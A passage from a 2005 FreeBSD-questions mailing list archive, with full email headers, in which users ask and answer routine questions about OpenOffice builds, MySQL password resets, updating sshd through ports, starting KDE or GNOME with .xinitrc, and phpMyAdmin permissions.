into subdirectories with a click. It's in the > sysutils ports. > > For a quick example of how it looks, see > http://methylblue.com/filelight/filelight.png Firelight is awesome! Thanks for mentioning it. -Mike From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:05:14 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B2B2016A4CE for ; Tue, 8 Feb 2005 08:05:14 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3871243D1F for ; Tue, 8 Feb 2005 08:05:14 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1882hj08112; Tue, 8 Feb 2005 00:02:43 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Jonathon McKitrick" , Date: Tue, 8 Feb 2005 00:02:41 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <20050205142225.GA11546@dogma.freebsd-uk.eu.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal Subject: RE: Example BSD Makefiles *outside* the src tree?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:05:14 -0000 OpenSSL does not require gnu make. Ted > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Jonathon > McKitrick > Sent: Saturday, February 05, 2005 6:22 AM > To: freebsd-questions@freebsd.org > Subject: Example BSD Makefiles *outside* the src tree?? > > > > Hi all, > > does anyone know of any project out there I could get my hands > on that use > BSD make? Obviously the src tree is not a good place to learn > the basics, > but most makefiles I run across are for GNU make and/or are > too complex to > learn the basics from. > > jm > -- > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:09:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9F96616A4CE for ; Tue, 8 Feb 2005 08:09:57 +0000 (GMT) Received: from srvdmz13.oekb.co.at (srvdmz13.oekb.co.at [143.245.5.103]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0B6B443D31 for ; Tue, 8 Feb 2005 08:09:56 +0000 (GMT) (envelope-from Ewald.Jenisch@oekb.at) Received: from Unknown [143.245.2.191] by srvdmz13.oekb.co.at - SurfControl E-mail Filter (4.7); Tue, 08 Feb 2005 09:09:53 +0100 Received: from aurora.oekb.co.at ([143.245.9.16]) by MAIL01.oekb.co.at with Microsoft SMTPSVC(5.0.2195.6713); Tue, 8 Feb 2005 09:10:03 +0100 Received: from aurora.oekb.co.at (localhost.oekb.co.at [127.0.0.1]) by aurora.oekb.co.at (8.13.1/8.13.1) with ESMTP id j1889pXh055620 for ; Tue, 8 Feb 2005 09:09:51 +0100 (CET) (envelope-from ej@aurora.oekb.co.at) Received: (from ej@localhost) by aurora.oekb.co.at (8.13.1/8.13.1/Submit) id j1889psl055619 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 09:09:51 +0100 (CET) (envelope-from ej) Message-ID: <20050208080951.GA55594@aurora.oekb.co.at> From: Ewald Jenisch To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 09:09:51 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-OriginalArrivalTime: 08 Feb 2005 08:10:03.0874 (UTC) FILETIME=[97E81C20:01C50DB5] User-Agent: Mutt/1.4.2.1i Subject: Openoffice 1.1 - compile errors even without Java X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:09:57 -0000 Hi, I'm having a hard time getting OO 1.1.4 installed from ports: Using the normal "make"-way (i.e. with Java support) makes the build die after some hours with the famous errors during Java compilation. So I tried make -DWITHOUT_JAVA Again, make runs for several hours finally bailing out with the following error message: ------------------------------ < Cut here > ------------------------------ zip -j -5 "../unxfbsd.pro/01/normal/f_0386" "/usr/ports/editors/openoffice-1.1/work/solver/645/unxfbsd.pro/bin/dtint" adding: dtint (deflated 69%) zip -j -5 "../unxfbsd.pro/01/normal/f_0387" "/usr/ports/editors/openoffice-1.1/work/solver/645/unxfbsd.pro/bin/dtappintegrate" adding: dtappintegrate (deflated 80%) optimize summary: 0 kb Replacing ${EVAL} with Replacing ${FILEFORMATNAME} with OpenOffice.org Replacing ${FILEFORMATVERSION} with 1.0 Replacing ${LONG_PRODUCTEXTENSION} with Replacing ${PRODUCTEXTENSION} with Replacing ${PRODUCTNAME} with OpenOffice.org Replacing ${PRODUCTVERSION} with 1.1.4 time needed: 0:0:27 WARNING! Project(s): gtk not found and couldn't be built. Correct build.lsts. ------------------------------ < Cut here > ------------------------------ Has anybody sucessfully built OO 1.1.4 from ports - either with our without Java? What's the trick to get this going? Here's my environment: FreeBSD 5.3; system/kernel and ports cvsup-ed and fully portupgraded including any dependencies to the latest (yesterday) state. Thanks much in advance for your help, -ewald From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:14:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0334B16A4CE for ; Tue, 8 Feb 2005 08:14:11 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5176343D1F for ; Tue, 8 Feb 2005 08:14:09 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j188E61p005301 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 15:14:06 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j188E516045754; Tue, 8 Feb 2005 15:14:05 +0700 (ICT) Date: Tue, 8 Feb 2005 15:14:05 +0700 (ICT) Message-Id: <200502080814.j188E516045754@banyan.cs.ait.ac.th> From: Olivier Nicole To: a@jenisch.at In-reply-to: <20050208080951.GA55594@aurora.oekb.co.at> (message from Ewald Jenisch on Tue, 8 Feb 2005 09:09:51 +0100) References: <20050208080951.GA55594@aurora.oekb.co.at> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: Openoffice 1.1 - compile errors even without Java X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:14:11 -0000 > Has anybody sucessfully built OO 1.1.4 from ports - either with our > without Java? I am not sure about java (all default), but building OO from the ports was almost painless. I think I had installed Java beforehand anyway. Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:36:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 00DF116A4CE for ; Tue, 8 Feb 2005 08:36:39 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id DE6A043D41 for ; Tue, 8 Feb 2005 08:36:37 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j188aaGf030955 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 8 Feb 2005 00:36:37 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j188aa39030953 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 00:36:36 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 00:36:36 -0800 From: "Loren M. Lang" To: freebsd-questions@freebsd.org Message-ID: <20050208083636.GD8619@alzatex.com> References: <1498696253.20050119202447@wanadoo.fr> <20050119194228.7248.qmail@web51004.mail.yahoo.com> <515597134.20050119211009@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <515597134.20050119211009@wanadoo.fr> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C Subject: Re: FreeBSD I LOVE YOU X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:36:39 -0000 On Wed, Jan 19, 2005 at 09:10:09PM +0100, Anthony Atkielski wrote: > faisal gillani writes: > > fg> hmmm exactly right .. u know i have a 750MHz At halon > fg> with 256MB ram .. & still my processor is 80% idle > fg> most of the time .. > fg> i also have some windows server on my network but > fg> thats a compulsory rather then choice . > > I'm gradually migrating legacy aps off my older NT server and I think it > might be extremely interesting to install FreeBSD on that machine once > it is free--if only I could persuade it to boot from diskette (for some > reason, the diskette drive no longer seems to be recognized by the OS). > It's an old HP Vectra, but like all vintage HP high-end machines, it > still works perfectly, after nearly a decade of continuous use. > > Can anyone tell me how to install FreeBSD on a machine that is running > Windows NT and refuses to boot from CD or from diskette? I don't > suppose there's any magic program I could run from NT that would start a > FreeBSD installation, is there? I've used loadlin before to boot up a linux installer when I had neither a floppy driver nor a cdrom drive to boot from, it works quite well. For freebsd, I'm not sure if there is a similar program or not, but one possibility would be to use loadlin to start a basic linux environment, then use linux to install the freebsd bootloader to the hard drive and start the freebsd installer. > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:37:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7D43016A4CE for ; Tue, 8 Feb 2005 08:37:42 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id 02DC143D1F for ; Tue, 8 Feb 2005 08:37:42 +0000 (GMT) (envelope-from normal1.lists@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so870837wri for ; Tue, 08 Feb 2005 00:37:41 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=Q9XexCsWaQX0U5C4V71iUP5VV3BWlpFHg7WzcFof+nsZRDunLrsjb8/RyvWM7ETG+ZHzFrhQfYWzzKw9dW5DxIsXZlVMbNoBig8PXNDrQfy+XPGTFgsIHRS7t+pXu4wMVFi74dcoa17vmzVW4JyDNUrpoHX7JggwqSVOKd62yco= Received: by 10.54.43.67 with SMTP id q67mr31964wrq; Tue, 08 Feb 2005 00:37:40 -0800 (PST) Received: by 10.54.2.45 with HTTP; Tue, 8 Feb 2005 00:37:40 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 00:37:40 -0800 From: gabriel To: freebsd-questions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: gabriel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:37:42 -0000 Hello gang, Okay so I've read the mysql docs and also googled my little heart out; have also tried various solutions none of which worked. I've done a fresh install of mysql3*-server from ports. The db dir is /usr/local/mysql and I've been starting the deamon utilizing the following line: safe_mysqld --user=mysql --skip-grant-tables --err-log=/usr/local/mysql/erro.log Okay, with that said, here's the output when trying to change root's password (even mysql password); gmpnoc# mysqladmin -h localhost -u root password password mysqladmin: unable to change password; error: 'You must have privileges to update tables in the mysql database to be able to change passwords for others' gmpnoc# I've also tried it without -h, tried it with -h pointing to the actual name of the machine. Nuffin! Please someone enlighten me! Cheers! -- gabriel, Member of: FreeBSD-Announce FreeBSD-Hardware FreeBSD-Multimedia FreeBSD-questions From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:56:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 41CA216A4CE for ; Tue, 8 Feb 2005 08:56:28 +0000 (GMT) Received: from mail.bitdefender.com (ns.bitdefender.com [217.156.83.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id C000643D49 for ; Tue, 8 Feb 2005 08:56:26 +0000 (GMT) (envelope-from apircalabu@bitdefender.com) Received: (qmail 3151 invoked from network); 8 Feb 2005 08:56:23 -0000 Received: from apircalabu.dsd.ro (10.10.15.22) by mail.dsd.ro with AES256-SHA encrypted SMTP; 8 Feb 2005 08:56:23 -0000 Date: Tue, 8 Feb 2005 10:59:21 +0200 From: Adi Pircalabu To: freebsd-questions Message-ID: <20050208105921.795584aa@apircalabu.dsd.ro> In-Reply-To: References: Organization: BitDefender X-Mailer: Sylpheed-Claws 1.0.0 (GTK+ 1.2.10; i386-portbld-freebsd4.11) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BitDefender-SpamStamp: 1.1.3 044000040111AAAAAAE X-BitDefender-Scanner: Clean, Agent: BitDefender Qmail 1.6.1 on mail.bitdefender.com X-BitDefender-Spam: No (0) Subject: Re: Changing mysql root password X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:56:28 -0000 On Tue, 8 Feb 2005 00:37:40 -0800 gabriel wrote: > Please someone enlighten me! Hi, http://dev.mysql.com/doc/mysql/en/resetting-permissions.html Hope it helps -- Adrian Pircalabu Public KeyID = 0x04329F5E -- This message was scanned for spam and viruses by BitDefender. For more information please visit http://www.bitdefender.com/ From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 08:58:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8838016A4CE for ; Tue, 8 Feb 2005 08:58:44 +0000 (GMT) Received: from sdf.lonestar.org (mx.freeshell.org [192.94.73.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2C6C343D2D for ; Tue, 8 Feb 2005 08:58:44 +0000 (GMT) (envelope-from tiberius@sdf.lonestar.org) Received: from sdf.lonestar.org (IDENT:tiberius@sverige.freeshell.org [192.94.73.4]) by sdf.lonestar.org (8.13.1/8.12.10) with ESMTP id j188vmm4003827 for ; Tue, 8 Feb 2005 08:57:48 GMT Received: (from tiberius@localhost) by sdf.lonestar.org (8.13.1/8.12.8/Submit) id j188vm2E015926 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 01:57:48 -0700 (MST) Date: Tue, 8 Feb 2005 01:57:48 -0700 From: Matt Rechkemmer To: freebsd-questions@freebsd.org Message-ID: <20050208085748.GA13424@sdf.lonestar.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i Subject: Dumb question about ports/packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 08:58:44 -0000 This is somewhat of a dumb question, but I'm a bit confused about the differences between ports, packages and what is currently on the system. Let's [hypothetically] say I have a FreeBSD 5.3 system. I use the ports system on things I want to compile and packages when I'm lazy :-). I keep track of my ports 'n' packages with portupgrade(1). Now here's the scenario (fake, mind you). Let's say SSHD which is part of the core distribution from my limited understanding develops a root hole, or some other nasty exploit. How would I upgrade just one package part of the core like that? Or multiple ones for that matter. Can you use the ports/packages system? Or do you have to do an entire system upgrade (i.e. 4.10 to 4.11). Any help is greatly appreciated! Matt Rechkemmer tiberius@trancell.org From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:05:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C9BC716A4CE for ; Tue, 8 Feb 2005 09:05:25 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id B5E9C43D4C for ; Tue, 8 Feb 2005 09:05:23 +0000 (GMT) (envelope-from normal1.lists@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so872950wri for ; Tue, 08 Feb 2005 01:05:22 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=cDDXzCIfCisa/sX+AK3TfaH3XK258oNuJhNN2UKkeZ5ERwDehpO/Ar7KWX6O8SsHbzx2w3k2XqJO0eEyX54EiJvkL05A1BsZNfu3jR6nXSu8gahIfVLWdzfua6V3N773vYhAZ0+G50yo/XtI2vj0yMDFiy3qsP45XyWkTQUdEeE= Received: by 10.54.29.33 with SMTP id c33mr244664wrc; Tue, 08 Feb 2005 01:05:22 -0800 (PST) Received: by 10.54.2.45 with HTTP; Tue, 8 Feb 2005 01:05:22 -0800 (PST) Message-ID: Date: Tue, 8 Feb 2005 01:05:22 -0800 From: gabriel To: Matt Rechkemmer In-Reply-To: <20050208085748.GA13424@sdf.lonestar.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208085748.GA13424@sdf.lonestar.org> cc: freebsd-questions@freebsd.org Subject: Re: Dumb question about ports/packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: gabriel List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:05:25 -0000 a patch would be issued for the source. On Tue, 8 Feb 2005 01:57:48 -0700, Matt Rechkemmer wrote: > This is somewhat of a dumb question, but I'm a bit confused about the > differences between ports, packages and what is currently on the system. > Let's [hypothetically] say I have a FreeBSD 5.3 system. I use the ports > system on things I want to compile and packages when I'm lazy :-). > > I keep track of my ports 'n' packages with portupgrade(1). Now here's the > scenario (fake, mind you). Let's say SSHD which is part of the core > distribution from my limited understanding develops a root hole, or some other > nasty exploit. > > How would I upgrade just one package part of the core like that? Or multiple > ones for that matter. Can you use the ports/packages system? Or do you have > to do an entire system upgrade (i.e. 4.10 to 4.11). > > Any help is greatly appreciated! > > Matt Rechkemmer > tiberius@trancell.org > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -- gabriel, Member of: FreeBSD-Announce FreeBSD-Hardware FreeBSD-Multimedia FreeBSD-questions From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:07:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BDA2816A4CE for ; Tue, 8 Feb 2005 09:07:45 +0000 (GMT) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6BE0443D60 for ; Tue, 8 Feb 2005 09:07:44 +0000 (GMT) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.12.11/8.12.11) with ESMTP id j1897gV3033944 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 16:07:43 +0700 (ICT) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.13.1/8.12.11) id j1897gdL071181; Tue, 8 Feb 2005 16:07:42 +0700 (ICT) Date: Tue, 8 Feb 2005 16:07:42 +0700 (ICT) Message-Id: <200502080907.j1897gdL071181@banyan.cs.ait.ac.th> From: Olivier Nicole To: tiberius@trancell.org In-reply-to: <20050208085748.GA13424@sdf.lonestar.org> (message from Matt Rechkemmer on Tue, 8 Feb 2005 01:57:48 -0700) References: <20050208085748.GA13424@sdf.lonestar.org> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) cc: freebsd-questions@freebsd.org Subject: Re: Dumb question about ports/packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:07:45 -0000 > How would I upgrade just one package part of the core like that? Or multiple > ones for that matter. Can you use the ports/packages system? Or do you have > to do an entire system upgrade (i.e. 4.10 to 4.11). I'd say, given that ssh is part of the ports (/usr/ports/security/ssh), you could ust upgrade that port and install that port. I'd cvsup ports/security then make && make install for ssh Olivier From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:12:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0662416A4CE for ; Tue, 8 Feb 2005 09:12:38 +0000 (GMT) Received: from mta08-winn.mailhost.ntl.com (smtpout16.mailhost.ntl.com [212.250.162.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 91B8243D48 for ; Tue, 8 Feb 2005 09:12:36 +0000 (GMT) (envelope-from kamanism@ntlworld.com) Received: from aamta08-winn.mailhost.ntl.com ([212.250.162.8]) by mta08-winn.mailhost.ntl.com with ESMTP <20050208091235.IUJZ8887.mta08-winn.mailhost.ntl.com@aamta08-winn.mailhost.ntl.com>; Tue, 8 Feb 2005 09:12:35 +0000 Received: from [192.168.1.100] (really [81.105.118.160]) by aamta08-winn.mailhost.ntl.com with ESMTP <20050208091235.FZNC26737.aamta08-winn.mailhost.ntl.com@[192.168.1.100]>; Tue, 8 Feb 2005 09:12:35 +0000 From: Marshall Kiam-Laine To: Chris In-Reply-To: <4207FDF6.3010604@makeworld.com> References: <1107786836.3586.13.camel@localhost.localdomain> <4207FDF6.3010604@makeworld.com> Content-Type: text/plain Organization: Orion Deep Space Command Date: Tue, 08 Feb 2005 09:12:32 +0000 Message-Id: <1107853952.3479.9.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: startup - sticky to FAQ X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:12:38 -0000 ***excellent Chris, many thanks. a proper answer instead of one of those smart-arse rtfm types ! :) ***im sure a lot of us new-to-linuxers ask this very same question, so maybe stick this in the faq somehow. bfn. ----------------------------------------------- On Mon, 2005-02-07 at 17:47 -0600, Chris wrote: > Marshall Kiam-Laine wrote: > > > ***hi all, rookie fiddler calling :) > > > > just loaded fbsd5.3amd64 but it stopped at the login prompt. > > > > (1) $>startkde didnt work, is that the right command please ? > > type this: > > echo exec startkde > .xinitrc > > > > > (2) what command to start gnome ? > > type this: > > echo exec gnome-session >> .xinitrc > > > > > (3) how to tell it to start one of the GUI automatically ? > > > The contense of .xinitrc should now look like this: > > exec startkde > exec gnome-session > > Comment out one of the line with # in front of it. So, if you want to > start KDE: > > exec startkde > #exec gnome-session > > > Then, when you type: startx > KDE starts. Do the opposite if you want gnome > > > > > many thanks, kamanism@ntlworld.com > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions To > > unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > > > > > From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:16:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C86DB16A4CE for ; Tue, 8 Feb 2005 09:16:34 +0000 (GMT) Received: from male.aldigital.co.uk (male.thebunker.net [213.129.64.13]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7148043D1D for ; Tue, 8 Feb 2005 09:16:34 +0000 (GMT) (envelope-from matthew@thebunker.net) Received: from gravitas.thebunker.net (gateway.ash.thebunker.net [213.129.64.4]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by male.aldigital.co.uk (Postfix) with ESMTP id BF7F19776C; Tue, 8 Feb 2005 09:16:33 +0000 (GMT) Received: from gravitas.thebunker.net (localhost [127.0.0.1]) j189GS0W000669; Tue, 8 Feb 2005 09:16:28 GMT (envelope-from matthew@gravitas.thebunker.net) Received: (from matthew@localhost) by gravitas.thebunker.net (8.13.1/8.13.1/Submit) id j17IuEa1000876; Mon, 7 Feb 2005 18:56:14 GMT (envelope-from matthew) Date: Mon, 7 Feb 2005 18:55:34 +0000 From: Matthew Seaman To: Pat Maddox Message-ID: <20050207185534.GA703@gravitas.thebunker.net> Mail-Followup-To: Matthew Seaman , Pat Maddox , freebsd-questions@freebsd.org References: <810a540e0502070812378f1c54@mail.gmail.com> <597fa17762930ea8d79c0b2c55d16428@mac.com> <810a540e05020708397bd9c10e@mail.gmail.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="fUYQa+Pmc3FrFX/N" Content-Disposition: inline In-Reply-To: <810a540e05020708397bd9c10e@mail.gmail.com> User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: Unable to get phpMyAdmin working X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 09:16:34 -0000 --fUYQa+Pmc3FrFX/N Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 09:39:36AM -0700, Pat Maddox wrote: > I managed to get it working by chowning the entire phpMyAdmin dir to > www:www. Not sure if that's the best thing, but it works. Well, if it works for you. By default the port installs config.inc.php owned by root:www mode 640, so if your webserver is running (as it usually does) as www:www then it should be able to read the file. If you install WITH_SUPHP as the www user and the www group. However, if you use a different UID/GID for your webserver, you can override those settings by: # make install MYADMUSR=3Dfoo MYADMGRP=3Dbar Note that the config.inc.php file potentially contains database passwords so you should be a bit careful about not letting the whole world read it. Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 8 Dane Court Manor School Rd PGP: http://www.infracaninophile.co.uk/pgpkey Tilmanstone Tel: +44 1304 617253 Kent, CT14 0JL UK --fUYQa+Pmc3FrFX/N Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iQCVAwUBQge5ppr7OpndfbmCAQKs7AP/U11eqbDh6Go1IuhvQRuWBq//5n6Awe66 LDQ0fnk130lWRBg4jIfqvyVYT4Oakiy4iIyajPmSSVHsHOsQa+VfWxTBgo5dZPv4 8Bnmx9W08TQSNtYUKcH+pTSIZjv0DZ/fDcWLnpioB0Cji8r30tM3qzoVl1rPnxeg s7IrLtK83vs= =Nfgl -----END PGP SIGNATURE----- --fUYQa+Pmc3FrFX/N-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 09:21:46 2005 Return-Path: Delivered-To: 